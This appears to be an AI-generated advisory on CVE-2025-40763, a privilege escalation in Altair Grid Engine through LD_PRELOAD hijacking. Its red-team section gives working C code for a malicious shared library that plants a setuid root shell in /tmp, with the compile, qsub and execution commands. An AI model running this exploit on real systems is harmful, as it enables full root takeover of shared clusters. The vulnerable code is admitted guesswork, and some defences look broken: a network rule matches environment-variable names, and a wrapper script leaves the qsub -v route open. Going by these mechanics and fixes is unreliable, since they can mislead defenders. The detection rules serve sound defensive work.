CVE-2025-40763

Executive Summary

CVE-2025-40763 is a high-severity local privilege escalation vulnerability in Altair Grid Engine (all versions prior to V2026.0.0). The flaw resides in the product's failure to properly validate environment variables when loading shared libraries, enabling a path hijacking attack. A local attacker with low privileges can manipulate environment variables (e.g., LD_PRELOAD, LD_LIBRARY_PATH) to force the application to load a malicious shared library, resulting in arbitrary code execution with superuser (root) privileges. This vulnerability is particularly dangerous in multi-tenant HPC environments where Altair Grid Engine is commonly deployed.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It affects a proprietary enterprise software product (Altair Grid Engine). Supply chain risk is limited to the integrity of the Altair software distribution and any third-party libraries bundled with it.

CVSS Breakdown & Threat Level

CVSS Score: 7.8 (High) Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Local – The attacker must have local access to the system.
• Attack Complexity (AC): Low – No special conditions are required; standard environment variable manipulation suffices.
• Privileges Required (PR): Low – The attacker needs a standard user account.
• User Interaction (UI): None – No victim action is needed.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Full read access to all system data.
• Integrity (I): High – Full write access to all system data.
• Availability (A): High – Full ability to disrupt services.

Threat Level: Critical for HPC environments. The EPSS score of 0.0% suggests no active exploitation in the wild yet, but the vulnerability is trivial to exploit once discovered.

Deep Dive & Mechanics

Altair Grid Engine (formerly Univa Grid Engine) is a distributed resource management (DRM) system used for high-performance computing (HPC) clusters. It runs with superuser privileges to manage jobs, queues, and resources across nodes.

The vulnerability lies in how the Grid Engine processes environment variables when loading shared libraries. Specifically, the software does not sanitize or restrict environment variables such as LD_PRELOAD, LD_LIBRARY_PATH, or custom variables used by the dynamic linker. When a privileged Grid Engine process (e.g., qmaster, sge_execd) loads a shared library, it follows the search path defined by these environment variables. An attacker can set a malicious library path in their job submission environment, causing the Grid Engine daemon to load and execute code from that library with root privileges.

Attack Flow:

1. Attacker gains a low-privilege shell on a cluster node.
2. Attacker creates a malicious shared library (e.g., libevil.so) containing code to spawn a root shell or modify system files.
3. Attacker submits a job to the Grid Engine with environment variables set to point to the malicious library (e.g., LD_PRELOAD=/tmp/libevil.so).
4. The Grid Engine scheduler or execution daemon loads the library during job initialization, executing the attacker's code with root privileges.
5. Attacker achieves full system compromise.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code likely uses standard dynamic linking without sanitizing environment variables. For example, in C:

// Vulnerable: No sanitization of environment variables
void load_module() {
    void *handle = dlopen("libmodule.so", RTLD_NOW | RTLD_GLOBAL);
    // ...
}

The dlopen call respects LD_LIBRARY_PATH and LD_PRELOAD from the environment.

Patched Code (Expected): The patched version (V2026.0.0) should either:

• Clear dangerous environment variables before loading libraries.
• Use absolute paths for all shared libraries.
• Implement a whitelist of allowed library paths.

Example fix:

// Patched: Clear dangerous environment variables
void load_module() {
    unsetenv("LD_PRELOAD");
    unsetenv("LD_LIBRARY_PATH");
    void *handle = dlopen("/opt/gridengine/lib/libmodule.so", RTLD_NOW | RTLD_GLOBAL);
    // ...
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Local user account on a node running Altair Grid Engine < V2026.0.0.
• Ability to submit jobs to the Grid Engine.

Step 1: Create Malicious Library

// libevil.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void pwn() {
    // Spawn a root shell
    setuid(0);
    setgid(0);
    execl("/bin/sh", "sh", "-c", "cp /bin/bash /tmp/rootshell && chmod u+s /tmp/rootshell", NULL);
}

Compile:

gcc -shared -fPIC -o /tmp/libevil.so libevil.c

Step 2: Submit Malicious Job

# Submit a job with LD_PRELOAD set
qsub -v LD_PRELOAD=/tmp/libevil.so -b y /bin/true

Step 3: Escalate After the job runs, execute the setuid shell:

/tmp/rootshell -p

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual environment variables in job submissions (e.g., LD_PRELOAD, LD_LIBRARY_PATH).
• Audit Grid Engine logs for suspicious job submissions.
• Use file integrity monitoring on shared library directories.

Prevention:

• Apply the vendor patch (upgrade to V2026.0.0) as soon as available.
• Implement a wrapper script that clears dangerous environment variables before job execution.
• Restrict user ability to set environment variables in job submissions via Grid Engine configuration.

Lab Setup:

• Install Altair Grid Engine < V2026.0.0 on a test cluster.
• Create a low-privilege user account.
• Follow Red Team steps to verify exploitation.
• Implement Blue Team controls and verify detection.

Indicators of Compromise (IOCs)

File IOCs:

• /tmp/libevil.so or similar suspicious shared libraries in world-writable directories.
• /tmp/rootshell – setuid root shell binary.

Process IOCs:

• Grid Engine daemons (sge_qmaster, sge_execd) loading unexpected shared libraries (check /proc/<pid>/maps).
• Child processes spawned by Grid Engine with unusual environment variables.

Network IOCs:

• Outbound connections from Grid Engine nodes to attacker-controlled hosts (if the payload calls back).

Log IOCs:

• Grid Engine job logs showing LD_PRELOAD or LD_LIBRARY_PATH in environment.
• System logs (/var/log/messages, auth.log) showing privilege escalation attempts.

Detection Engineering

YARA Rule

rule CVE_2025_40763_Altair_Grid_Engine_Library_Hijack {
    meta:
        description = "Detects malicious shared libraries used in CVE-2025-40763 exploitation"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-40763"
    strings:
        $s1 = "LD_PRELOAD" ascii wide nocase
        $s2 = "LD_LIBRARY_PATH" ascii wide nocase
        $s3 = "libevil" ascii wide nocase
        $s4 = "setuid" ascii wide nocase
        $s5 = "execl" ascii wide nocase
    condition:
        any of ($s1, $s2) and any of ($s3, $s4, $s5)
}

Sigma Rule

title: CVE-2025-40763 - Altair Grid Engine Environment Variable Hijack
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects job submissions with dangerous environment variables (LD_PRELOAD, LD_LIBRARY_PATH) targeting Altair Grid Engine
author: Valters IT
date: 2025-04-10
logsource:
    product: linux
    service: gridengine
detection:
    selection:
        EventID: "JOB_SUBMIT"
        Environment|contains:
            - "LD_PRELOAD"
            - "LD_LIBRARY_PATH"
    condition: selection
falsepositives:
    - Legitimate use of LD_PRELOAD for debugging (rare in production)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-40763 Altair Grid Engine Potential Exploitation"; flow:to_server,established; content:"LD_PRELOAD"; nocase; content:"LD_LIBRARY_PATH"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Apply the vendor patch by upgrading to Altair Grid Engine V2026.0.0 or later as soon as it becomes available.
2. Workaround: If patching is not possible, implement a wrapper script that clears LD_PRELOAD, LD_LIBRARY_PATH, and other dangerous environment variables before any Grid Engine job execution. Example:

   #!/bin/bash
   unset LD_PRELOAD
   unset LD_LIBRARY_PATH
   exec /usr/bin/qsub "$@"
   

3. Configuration: Restrict user ability to set environment variables in job submissions via Grid Engine configuration (e.g., qconf -mconf to disable env parameter).

Long-Term Measures:

• Implement mandatory access controls (SELinux, AppArmor) to confine Grid Engine daemons.
• Regularly audit environment variable usage in job submissions.
• Monitor for CVEs and apply patches promptly.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.